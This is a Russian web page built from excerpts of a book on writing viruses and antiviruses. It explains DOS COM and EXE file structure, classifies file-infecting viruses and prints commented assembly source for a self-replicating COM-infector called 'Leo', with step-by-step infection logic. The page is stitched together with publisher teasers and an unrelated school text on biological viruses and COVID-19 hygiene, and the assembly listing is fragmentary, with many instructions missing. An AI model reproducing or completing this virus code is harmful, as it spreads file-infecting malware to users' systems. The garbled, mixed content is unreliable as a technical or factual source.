Что такое учу вирус

Обновлено: 28.03.2024

EXE-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.

Вирусы, замещающие программный код (Overwrite)

Такие вирусы уже стали раритетом. Главный их недостаток – слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.

Эти вирусы получили свое название из-за алгоритма размножения: к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого инфицируемого EXE-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и EXE-файл, но с расширением COM. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением COM. Если COM-файл с таким именем не найден, ведется поиск одноименного EXE-файла. Если не найден и EXE-файл, DOS попробует обнаружить BAT (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус, код которого находится в COM-файле. Он создает COM-файл еще к одному или нескольким EXE-файлам (распространяется), а затем исполняет EXE-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная EXE-программа. Вирус-спутник обезвредить довольно просто – достаточно удалить COM-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого EXE-файла остается прежним, а расширение заменяется каким-либо другим, отличным от исполняемого (COM, EXE и BAT). Например, файл может получить расширение DAT (файл данных) или OVL (программный оверлей). Затем на место EXE-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в EXE-файле. Инфицировав еще один или несколько EXE-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EXE, а COM, поскольку EXE-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.

Данный текст является ознакомительным фрагментом.

Продолжение на ЛитРес

2.2. Понятия о видах вирусов

2.2. Понятия о видах вирусов Вирус, как программа, состоит из двух частей: механизма размножения и начинки. Механизм размножения определяет способ, которым копии вируса создаются, распространяются и запускаются.Начинка представляет собой дополнительное поведение вируса

Классификация вирусов

Краткая история мобильных вирусов

Краткая история мобильных вирусов Началом истории вирусов для мобильных телефонов можно считать июнь 2004 года. Именно тогда командой вирусописателей 29А был создан первый вирус для смартфонов. Вирус распространялся посредством технологии беспроводной передачи данных

1.3. Разновидности компьютерных вирусов

1.3. Разновидности компьютерных вирусов Пришло время ознакомиться c особенностями работы некоторых вирусов – хотя бы для того, чтобы, узнав о начале очередной эпидемии, не спешить отключать кабель, ведущий к модему.Точную классификацию вирусов и других вредоносных

Спасение от вирусов — дело рук самих вирусов

Спасение от вирусов — дело рук самих вирусов Автор: Дмитрий ГуцДмитрий в настоящее время занимается разработкой антивируса, учитывающего, по его мнению, многие из высказанных ниже положений. Как только антивирус будет готов, мы протестируем его и расскажем о

Защита от вирусов

Защита от вирусов Описывая работу на компьютере, нельзя не упомянуть такую актуальную проблему, как компьютерные вирусы и защита от них.Многие пользователи неверно представляют себе, что такое компьютерный вирус, и поэтому боятся его больше, чем надо. Искаженное

Строение вирусов

Основные типы вирусов

Основные типы вирусов Итак, существует четыре основных типа вредоносных программ:? классические компьютерные вирусы;? троянские программы;? сетевые черви;? прочие вредоносные

Глава 20 Защита от вирусов

Урок 4.2. Защита от компьютерных вирусов

Урок 4.2. Защита от компьютерных вирусов Что такое компьютерный вирус и как с ним бороться Компьютерный вирус – это специально написанная небольшая программа, которая может присоединять себя к другим файлам (инфицировать их), умеет размножаться и способна нанести

Способы внедрения COM-вирусов

Способы внедрения COM-вирусов Рассмотренный вирус дописывался в конец файла, а в начало файла вписывал переход на себя. Существуют и другие способы внедрения вирусов.Рассмотрим два варианта внедрения COM-вируса в начало файла. Вариант первый. Вирус переписывает начало

Глава 5 Маскировка вирусов


Оглавление

Приведённый ознакомительный фрагмент книги Создаем вирус и антивирус предоставлен нашим книжным партнёром — компанией ЛитРес.

В этой главе рассказано об алгоритмах работы вирусов, заражающих COM-файлы, и способах их внедрения. Представлен исходный текст одного из таких вирусов с подробными комментариями. Также приведены основные сведения о структуре и принципах работы COM-программы.

Структура и процесс загрузки COM-программы

Что же представляет собой COM-программа, как она загружается в память и запускается?

Структура COM-программы предельно проста — она содержит только код и данные программы, не имея даже заголовка. Размер COM-программы ограничен размером одного сегмента (64 Кбайт).

И еще два понятия, которые часто будут встречаться:

Program Segment Prefix (PSP) — область памяти размером 256 (0100h) байт, предшествующая программе при ее загрузке. PSP содержит данные командной строки и относящиеся к программе переменные.

Disk Transfer Address (DTA) — блок данных, содержащий адреса обмена данными с файлом (чтение или запись). Область DTA для работы с файлом используют многие функции, в том числе и не производящие чтение или запись в файл. Примером может служить функция 4Eh (найти первый файл по шаблону), которая будет неоднократно встречаться в листингах программ.

Загрузка COM-программы в память и ее запуск происходят так:

1. Определяется сегментный адрес свободного участка памяти достаточного для размещения программы размера.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегмент:0000Ь — PSP; сегмент:0100Ь — программа). В поля PSP заносятся соответствующие значения.

4. Устанавливается адрес DTA равным PSP:0080h.

5. Загружается COM-файл с адреса PSP:0100h.

6. Значение регистра AX устанавливается в соответствии с параметрами командной строки.

7. Регистры DS, ES и SS устанавливаются на сегмент PSP и программы (PSP:0000h).

8. Регистр SP устанавливается на конец сегмента, после чего в стек записывается 0000h.

9. Происходит запуск программы с адреса PSP:0100h.

COM-программа всегда состоит из одного сегмента и запускается со смещения 0100h.

В начале COM-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды 0E9h, следующие два — адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только COM-файлы, начинающиеся с команды JMP. Благодаря простому строению COM-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.


После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.


Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге COM-программы. Для этого используется функция 4Eh (найти первый файл):

;Ищем первый файл по шаблону имени

mov dx,offset fname — offset myself

Затем вирус проверяет (по первому байту файла), подходят ли ему найденные COM-программы:

;Если при открытии файла ошибок не произошло,

;переходим к чтению, иначе выходим из вируса

;Читаем первый байт файла

mov dx,offset buf–offset myself

inc cx;(увеличение на 1) CX=1

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего

;файла — этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

Перед заражением файла вирус проверяет сигнатуру — не исключено, что файл уже заражен:

;Переходим в конец файла (на последний байт)

mov dx,[bp+(offset flen−offset MySelf)]

;Читаем сигнатуру вируса

mov dx,offset bytik–offset myself

;Если при чтении файла ошибок не произошло,

;иначе ищем следующий файл

cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

;Если сигнатура есть, то ищем другой файл,

;если ее нет — будем заражать

Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:

;Переходим в конец файла

;Устанавливаем регистр DS на сегмент кода

;Копируем вирус в файл

mov cx,offset VirEnd–offset la

sub dx,offset myself−offset la

;Записываем в начало файла переход на тело вируса

;Переходим в начало файла

;Записываем первые три байта файла (переход на тело вируса)

mov dx,offset jmpvir–offset myself

После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем — исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю.

Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:

.286;Устанавливаем тип процессора

CheckByte equ 0F0h

;Указываем, что регистры CS и DS содержат

;адрес сегмента кода программы

assume cs:code, ds:code

;Начало сегмента кода. В конце программы сегмент кода нужно

;закрыть — ”code ends”

;Устанавливаем смещения в сегменте кода.

;Данная строчка обязательна

;для COM−программы (все COM−программы

;начинаются с адреса 100h)

;Имитируем зараженный COM−файл.

;Тело вируса начинается с метки la

db 0E9h;Код команды JMP

dw offset la–offset real

;Выходим из программы

;Здесь начинается тело вируса

;Сохраняем регистры и флаги

;Получаем точку входа.

;Для этого вызываем подпрограмму (следующий

;за вызовом адрес) и читаем из стека адрес возврата

;Восстанавливаем первые три байта исходной программы

mov al,[bp+(offset bytes_3[0]–offset MySelf)]

mov byte ptr cs:[100h],al

mov al,[bp+(offset bytes_3[1]–offset MySelf)]

mov byte ptr cs:[101h],al

mov al,[bp+(offset bytes_3[2]–offset MySelf)]

mov byte ptr cs:[102h],al

;Дальнейшая задача вируса — найти новую жертву.

;Для этого используется функция 4Eh (Найти первый файл).

;Ищем файл с любыми атрибутами

;Ищем первый файл по шаблону имени

mov dx,offset fname–offset myself

;Если файл найден — переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

;Читаем оригинальные атрибуты файла

mov dx,9Eh;Адрес имени файла

;Сохраняем оригинальные атрибуты файла

;Устанавливаем новые атрибуты файла

mov dx,9Eh;Адрес имени файла

;Переходим к открытию файла

;Ищем следующий файл, так как предыдущий не подходит

;Восстанавливаем оригинальные атрибуты файла

mov dx,9Eh;Адрес имени файла

;Ищем следующий файл

;Если файл найден — переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

;Если при открытии файла ошибок не произошло —

;переходим к чтению, иначе выходим из вируса

;Читаем первый байт файла

mov dx,offset buf–offset myself

inc cx;(увеличение на 1) CX=1

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего файла —

;этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

;Переходим в начало файла

;Читаем первые три байта файла в тело вируса

mov dx,offset bytes_3–offset myself

;Получаем длину файла, для чего переходим в конец файла

;Сохраняем полученную длину файла

mov [bp+(offset flen−offset MySelf)],ax

;Проверяем длину файла

;Если файл не больше 64000 байт, — переходим

;к следующей проверке,

;иначе ищем другой файл (этот слишком велик для заражения)

;Проверим, не заражен ли файл.

;Для этого проверим сигнатуру вируса

;Переходим в конец файла (на последний байт)

mov dx,[bp+(offset flen−offset MySelf)]

;Читаем сигнатуру вируса

mov dx,offset bytik–offset myself

;Если при чтении файла ошибок

;не произошло — проверяем сигнатуру,

;иначе ищем следующий файл

cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

;Если сигнатура есть, то ищем другой файл,

;если нет — будем заражать

;Файл не заражен — будем заражать

mov ax,[bp+(offset flen−offset myself)]

mov [bp+(offset jmp_cmd−offset myself)],ax

;Переходим в конец файла

;Устанавливаем регистр DS на сегмент кода

;Копируем вирус в файл

mov cx,offset VirEnd–offset la

sub dx,offset myself−offset la

;Записываем в начало файла переход на тело вируса

;Переходим в начало файла

;Записываем первые три байта файла (переход на тело вируса)

mov dx,offset jmpvir–offset myself

;Восстанавливаем оригинальные атрибуты файла

;Восстанавливаем первоначальные значения регистров и флагов

;Передаем управление программе−носителю

;Байт для чтения сигнатуры

;Зарезервировано для изменения трех байт вируса

;Шаблон для поиска файлов

;Область для хранения команды перехода

bytes_3 db 90h, 90h, 90h

;Байт памяти для чтения первого байта файла

;с целью проверки (E9h)

virus_name db ”Leo”

Способы внедрения COM-вирусов

Рассмотренный вирус дописывался в конец файла, а в начало файла вписывал переход на себя. Существуют и другие способы внедрения вирусов.

Рассмотрим два варианта внедрения COM-вируса в начало файла. Вариант первый. Вирус переписывает начало программы в конец файла, чтобы освободить место для себя. После этого тело вируса записывается в начало файла, а небольшая его часть, обеспечивающая перенос вытесненного фрагмента программы, на прежнее место — в конец. При восстановлении первоначального вида программы тело вируса будет затерто, поэтому код вируса, восстанавливающий программу, должен находиться в безопасном месте, отдельно от основного тела вируса. Этот способ внедрения изображен на рис. 1.3.


При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса 0100h). После окончания работы вирус передает управление коду, переносящему вытесненную часть программы на прежнее место. После восстановления (в памяти, не в файле) первоначального вида программы, она запускается. Схема работы вируса изображена на рис. 1.4.


Второй вариант отличается от первого тем, что вирус, освобождая для себя место, сдвигает все тело программы, а не переносит ее часть в конец файла. Этот способ внедрения изображен на рис. 1.5.


После запуска зараженной программы, как и в предыдущем случае, управление получает вирус. Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид программы, переносит к адресу 0100h все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рис. 1.6.


Главная задача биологии — это развитие представлений у человека о живых организмах, о многообразии видов, обо всех закономерностях развития живых существ, а также об их взаимодействии с окружающей природой. Предмет основы безопасности жизнедеятельности (ОБЖ) позволяет получить знания и умения, которые помогут сохранить жизнь и здоровье в опасных ситуациях. Эти ситуации всегда возникают неожиданно, но, тем не менее, большинство из них предсказуемы и к ним можно подготовиться заранее. ОБЖ учит нас предвидеть возможные опасности и минимизировать потери от той или иной ситуации. Сегодня мы сталкиваемся с новым видом вирусной опасности COVID-19,о котором поговорим с точки зрения биологии и ОБЖ.

Что такое вирус?

Вирус — это неклеточный инфекционный агент. Сегодня нам известно около 6 тысяч различных вирусов, но их существует несколько миллионов. Вирусы не похожи друг на друга и могут иметь как форму сферы, спирали, так и форму сложного асимметричного сплетения. Размеры вирусов варьируются от 20 нм до 300 нм.

Как устроен вирус?

В центре агента находится генетический материал РНК или ДНК, вокруг которого располагается белковая структура — капсид.
Капсид служит для защиты вируса и помогает при захвате клетки. Некоторые вирусы дополнительно покрыты липидной оболочкой, т.е. жировой структурой, которая защищает их от изменений окружающей среды.

Вирусолог Дэвид Балтимор объединил все вирусы в 8 групп, из которых некоторые группы вирусов содержат 1-2 цепочки ДНК. Другие же содержат 1 цепочку РНК, которая может удваиваться или достраивать на своей матрице ДНК. При этом каждая группа вирусов производит себя в различных органеллах зараженной клетки.

Вирусы имеют определенный диапазон хозяев, т.е. он может быть опасен для одних видов и абсолютно безвреден для других. Например, оспой болеет только человек, а чумкой только некоторые виды плотоядных. Вирус не способен выжить сам по себе, поэтому активируется только в хозяйской клетке, используя ее ресурсы и питательные вещества. Цель вируса — создание множества копий себя, чтобы инфицировать другие клетки!

Вирусы

Как вирус попадает в организм?

  • через физические повреждения (например, порезы на коже)
  • путём направленного впрыскивания (к примеру, укус комара)
  • направленного поражения отдельной поверхности (например, при вдыхании вируса через трахею)
  • к эпителию слизистых оболочек (это например вирус гриппа)
  • к нервной ткани (вирус простого герпеса)
  • к иммунным клеткам (вирус иммунодефицита человека)

Биология. Рабочая тетрадь. 9 класс

Геном вируса встраивается в одну из органелл или цитоплазму и превращает клетку в настоящий вирусный завод. Естественные процессы в клетке нарушаются, и она начинает заниматься производством и сбором белка вируса. Этот процесс называется репликацией. И его основная цель — это захват территории. Во время репликации генетический материал вируса смешивается с генами клетки хозяина — это приводит к активной мутации самого вируса, а также повышает его выживаемость. Когда процесс репликации налажен, вирусная частица отпочковывается и заражает уже новые клетки, в то время как инфицированная ранее клетка продолжает производство.

Выход вируса

Вирус создал множество собственных копий, клетка оказывается изнуренной из-за использования ее ресурсов. Больше вирусу клетка не нужна, поэтому клетка часто погибает и новорожденным вирусам приходится искать нового хозяина. Это и есть заключительная стадию жизненного цикла вируса.

Скорость распространения вирусной инфекции

Размножение вирусов протекает с исключительно высокой скоростью: при попадании в верхние дыхательные пути одной вирусной частицы уже через 8 часов количество инфекционного потомства достигает 10³, а концу первых суток − 10²³.

Вирусная латентность

Как вирус распространяется?

  • воздушно-капельный (кашель, чихание)
  • с кожи на кожу (при прикосновениях и рукопожатиях)
  • с кожи на продукты (при прикосновениях к пище грязными руками вирусы могут попасть в пищеварительную и дыхательную системы)
  • через жидкие среды организма (кровь, слюну и другие)

Почему с вирусами так тяжело бороться?

Сегодня людям уже удалось победить некоторые вирусы, а некоторые взять под жесткий контроль. Например, Оспа (она же черная оспа). Болезнь вызывается вирусом натуральной оспы, передается от человека к человеку воздушно-капельным путем. Больные покрываются сыпью, переходящей в язвы, как на коже, так и на слизистых внутренних органов. Смертность, в зависимости от штамма вируса, составляет от 10 до 40 (иногда даже 70%), На сегодняшний день вирус полностью истреблен человечеством.

Кроме того, взяты под контроль такие заболевания, как бешенство, корь и полиомиелит. Но помимо этих вирусов существует масса других, которые требуют разработок или открытия новых вакцин.

Коронавирус

Виновником эпидемии, распространяющейся сегодня по миру, стал коронавирус, вирусная частица в 0,1 микрона. Свое название он получил благодаря наростам на своей структуре, своеобразным шипам. Внутри вируса спрятан яд, с помощью которого он подчиняет себе зараженный организм. Этот вирус воздействует не только на человека, но и на птиц, свиней, собак и летучих мышей. В настоящий момент выделяют от 30 до 39 разновидностей коронавирусной инфекции. Но для человека патогенно всего 6. И как любой другой вирус COVID-19 мутирует.

симптомы и признаки.jpg

К наиболее распространенным симптомам COVID-19 относятся повышение температуры тела, сухой кашель и утомляемость. К более редким симптомам относятся боли в суставах и мышцах, заложенность носа, головная боль, конъюнктивит, боль в горле, диарея, потеря вкусовых ощущений или обоняния, сыпь и изменение цвета кожи на пальцах рук и ног. Как правило, эти симптомы развиваются постепенно и носят слабо выраженный характер. У некоторых инфицированных лиц болезнь сопровождается очень легкими симптомами.

Сколько же может жить этот вирус вне организма? Все зависит от типа вируса и от той поверхности, на которую вирусы попали. В качестве примера было рассмотрено 3 вируса, по которым велись исследования. Изучали время, на которое может задерживаться вирус на различных поверхностях. Данные приведены в таблице.

Таблица

Поскольку пока не изобретено вакцины от COVID-19, в целях защиты от инфекции самым важным для нас является соблюдение гигиены.

Гигиена — раздел медицины, изучающий влияние жизни и труда на здоровье человека и разрабатывающая меры (санитарные нормы и правила), направленные на предупреждение заболеваний, обеспечение оптимальных условий существования, укрепление здоровья и продление жизни.

Сегодня следует соблюдать определенные правила гигиены:

  • Соблюдение режима труда и отдыха, не допускающего развития утомления и переутомления.
  • Выполнение условий, обеспечивающих здоровый и полноценный сон (свежий воздух, отсутствие шума, удобная постель, оптимальная продолжительность).
  • Правильное здоровое питание в соответствии с потребностями организма.
  • Комфортный микроклимат в жилище (температура, влажность и подвижность воздуха, естественная и искусственная освещенность помещений).
  • Содержание в чистоте тела и тщательный уход за зубами.
  • Спокойное и корректное поведение в конфликтных ситуациях.

профилактика.jpg

В этой статье рассказано о вирусах, заражающих ЕХЕ-файлы. Приведена классификация таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними достоинства и недостатки.

Вирусы — это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.

Для каждого типа вирусов представлены исходные тексты с подробными комментариями.Также приведены основные сведения о структуре и принципах работы ЕХЕ-программы.

Структура и процесс загрузки ЕХЕ-программы

В отличие от СОМ-программ, ЕХЕ-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64Кбайт.ЕХЕ-файл имеет заголовок, который используется при его загрузке.Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для настройки адресов (Relocation Table). Таблица состоит из значений в формате сегмент:смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.

При запуске ЕХЕ-программы системным загрузчиком (вызовом функции DOS 4Bh) выполняются следующие действия:

1. Определяется сегментный адрес свободного участка памяти,размер

которого достаточен для размещения программы.

2.Создается и заполняется блок памяти для переменных среды.

3.Создается блок памяти для PSP и программы (сегментЮОООЬ — PSP;

В поля PSP заносятся соответствующие значения.

4.Адрес DTA устанавливается равным PSP:0080h.

5.В рабочую область загрузчика считывается форматированная часть

заголовка ЕХЕ-файла.

6.Вычисляется длина загрузочного модуля по формуле:

7.Определяется смещение загрузочного модуля в файле, равное

8.Вычисляется сегментный адрес (START_SEG) для загрузки -обычно это PSP+lOh.

9.Считывается в память загрузочный модуль (начиная с адреса

10.Для каждого входа таблицы настройки:

a)читаются слова I_OFF и I_SEG;

c)читается слово по адресу RELO_SEG:I_OFF;

d)к прочитанному слову прибавляется START_SEG;

e)результат запоминается по тому же адресу (RELO_SEG:I_OFF).

11.Распределяется память для программы в соответствии с МахМет

12.Инициализируются регистры, выполняется программа:

b) АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;

ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма. Вирусы, замещающие программный код (Overwrite) Такие вирусы уже стали раритетом. Главный их недостаток — слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.

Эти вирусы получили свое название из-за алгоритма размножения:

к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого инфицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением СОМ. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ. Если СОМ-файл с таким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус,код которого находится в СОМ-файле. Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная ЕХЕ-программа.

Вирус-спутник обезвредить довольно просто — достаточно удалить

СОМ-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого

ЕХЕ-файла остается прежним, а расширение заменяется каким-либо

другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например,

файл может получить расширение DAT (файл данных) или OVL (про-

граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EХЕ, а СОМ, поскольку ЕХЕ-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено,если вирус-спутник шифрует часть или все тело инфицируемого файла,а перед исполнением его расшифровывает.

Вирусы, внедряющиеся в программу (Parasitic) Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.

Способы заражения ЕХЕ-файлов

Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение СОМ-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.

Следующий способ — внедрение вируса в начало файла со сдвигом кода

Вирусы, замещающие программный код ( Overwrite ) Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан Reminder’ом (Death Virii Crew group) и занимает 22 байта.

Алгоритм работы overwrite-вируса следующий:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех фай-

лов в каталоге или на диске).

Читайте также: